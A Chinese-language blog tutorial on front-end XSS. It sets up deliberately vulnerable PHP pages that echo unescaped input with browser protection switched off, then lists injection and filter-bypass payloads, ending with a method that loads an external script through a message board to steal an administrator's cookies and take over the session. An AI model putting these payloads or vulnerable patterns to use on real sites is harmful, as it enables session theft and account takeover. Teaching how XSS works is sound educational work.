• 前端安全之 XSS攻击


     参看:

    XSS的原理分析与解剖

    前端安全 -- XSS攻击

    web大前端开发中一些常见的安全性问题

    1、前言

    XSS 是面试时,hr提出来给我的,然后大体的浏览一遍,今天才查阅资料大体了解了它。

    XSS 攻击:攻击者向HTML页面传入恶意的HTML或JS代码,当用户浏览该页面时,恶意代码执行,达到攻击的目的。

    2、原理实现

    在本地搭建PHP环境(使用phpstudy安装),然后在index.php文件中输入一下代码:

    <!DOCTYPE html>
    <html>
    <head>
      <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 
      <title>XSS原理重现</title>
    </head>
    <body>
    <form action="" method="get">
      <input type="text" name="xss_input">
      <input type="submit">
    </form>
    <hr>
    <?php
      header("X-XSS-Protection: 0"); // 0: 表示关闭浏览器的XSS防护机制
      error_reporting(0); // 加上error_reporting(0);就不会弹出警告了
      $xss = $_GET['xss_input'];
      echo '<h5>你输入的字符为</h5><br />'.$xss;
    ?>
    </body>
    </html>

    现在在输入框中输入abc普通字符串,然后在页面中显示:

    之后查看页面代码,就会发现页面上多了一行代码:

    <!DOCTYPE html>
    <html>
    <head>
      <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 
      <title>XSS原理重现</title>
    </head>
    <body>
    <form action="" method="get">
      <input type="text" name="xss_input">
      <input type="submit">
    </form>
    <hr>
        /*------多了的代码:123-------*/
    <h5>你输入的字符为</h5><br />123</body>
    </html>

    此时,我要是在输入<script>alert('xss')</script>这种可以被解析的代码时:

    现在页面就显现出xss漏洞了。

    之后查看页面代码,就会发现页面上多了一行代码:

    <!DOCTYPE html>
    <html>
    <head>
      <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 
      <title>XSS原理重现</title>
    </head>
    <body>
    <form action="" method="get">
      <input type="text" name="xss_input">
      <input type="submit">
    </form>
    <hr>
    /*------多了的代码:<script>alert('xss')</script>-------*/
    // 代码出现在 br标签 和 body标签中
    <h5>你输入的字符为</h5><br /><script>alert('xss')</script></body>
    </html>

    3、xss利用输出环境来构造代码

    现在我要改变 xss 攻击:

    以上测试是在,标签中插入scrpit标签达到攻击的目的;现在我想要在html页面标签的属性中插入xss攻击代码。因此,当你我输入<script>alert('xss')</script>,不会显示出弹框了。

    3.1测试代码

    <!DOCTYPE html>
    <html>
    
    <head>
      <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
      <title>XSS利用输出的环境来构造代码</title>
    </head>
    
    <body>
      <center>
        <h6>把我们输入的字符串 输出到input里的value属性里</h6>
        <form action="" method="get">
          <h6>请输入你想显现的字符串</h6>
          <input type="text" name="xss_input_value" value="输入"><br>
          <input type="submit">
        </form>
        <hr>
        <?php
          header("X-XSS-Protection: 0");
          error_reporting(0);//加上error_reporting(0);就不会弹出警告了  
          $xss = $_GET['xss_input_value'];
          if(isset($xss)){
          echo '<input type="text" value="'.$xss.'">';
          }else{
          echo '<input type="type" value="输出">';
          }
        ?>
      </center>
    </body>
    
    </html>

    页面效果:

    3.2 输入一

    当我在输入框输入qwer字符串时,会在输出框显示我输入的字符串:

    此时网页代码:

      <center>
        <h6>把我们输入的字符串 输出到input里的value属性里</h6>
        <form action="" method="get">
          <h6>请输入你想显现的字符串</h6>
          <input type="text" name="xss_input_value" value="输入"><br>
          <input type="submit">
        </form>
        <hr>
        <input type="text" value="qwer">  </center>

    3.3输入二

    现在我输入<script>alert('xss')</script>,字符串正常输入,明显的可以看到,并没有弹出对话框:

    此时网页代码:

    <body>
      <center>
        <h6>把我们输入的字符串 输出到input里的value属性里</h6>
        <form action="" method="get">
          <h6>请输入你想显现的字符串</h6>
          <input type="text" name="xss_input_value" value="输入"><br>
          <input type="submit">
        </form>
        <hr>
        <input type="text" value="<script>alert('xss')</script>">  </center>
    </body>

    分析输出代码:

    <input type="text" value="<script>alert('xss')</script>">  </center>

    3.4 输入三

    如果我输入">,就会变成:

    <input type="text" value=""> ">  </center>

    input提前闭合了!之后的">就被舍弃了,变成了普通文本。

    3.5 输入四

    如果我输入:"><script>alert('xss')</script>

    显示效果:

    3.6 输入五

    现在我不想显示弹框攻击了,我想触发某种事件实现攻击,那么就输入以下内容:

    " onmousemove="alert('我就测试一下')"

    显示结果:

    页面代码:

      <center>
        <h6>把我们输入的字符串 输出到input里的value属性里</h6>
        <form action="" method="get">
          <h6>请输入你想显现的字符串</h6>
          <input type="text" name="xss_input_value" value="输入"><br>
          <input type="submit">
        </form>
        <hr>
        <input type="text" value="" onmousemove="alert('我就测试一下')"">  </center>

    说明:输入以后,鼠标在移动是触发事件,形成xss攻击。

    那么,我在<textarea> 标签中显示呢?

    此时就这样输入:

    </textarea> <script>alert(‘xss’)</script> // 就可以实现弹窗了

    4、过滤的解决办法

    假如说网站禁止过滤了script 这时该怎么办呢 ?

    那么就需要记住:只要页面能触发你的js代码

    有哪些方法呢?

    <!-- 当找不到图片名为1的文件时,执行alert('xss') -->
    <img scr=1 onerror=alert('xss')> 
    
    <!-- 点击s时运行alert('xss') -->
    <a href=javascrip:alert('xss')>s</a> 
    
    <!-- 利用iframe的scr来弹窗 -->
    <iframe src=javascript:alert('xss');height=0 width=0 /><iframe>
        
     <!-- 过滤了alert来执行弹窗 -->
    <img src="1" onerror=eval("x61x6cx65x72x74x28x27x78x73x73x27x29")></img>

    5、xss的利用

    <script scr="js_url"></script>
    
    <img src=x onerror=appendChild(createElement('script')).src='js_url' />

    比如我们在网站的留言区输入<script scr=”js_url”></script>

    当管理员进后台浏览留言的时候,就会触发

    然后管理员的cookies和后台地址还有管理员浏览器版本等等

    你都可以获取到了,再用“桂林老兵cookie欺骗工具”来更改你的cookies,

    就可以不用输入账号 密码 验证码 就可以以管理员的方式来进行登录了。

  • 相关阅读:
    go module基本使用
    jquery的radio的change事件
    etcd 快速入门
    linux下查看php-fpm是否开启以及如何开启
    js 获取某年的某天是第几周
    gland go list-m:无法识别的导入路径
    Xshell连接有跳板机(堡垒机)的服务器
    PHP中时间戳和时区
    SQL分页过多时, 如何优化
    MySQL语句的优化
  • 原文地址:https://www.cnblogs.com/houfee/p/11138398.html
Copyright © 2020-2023  润新知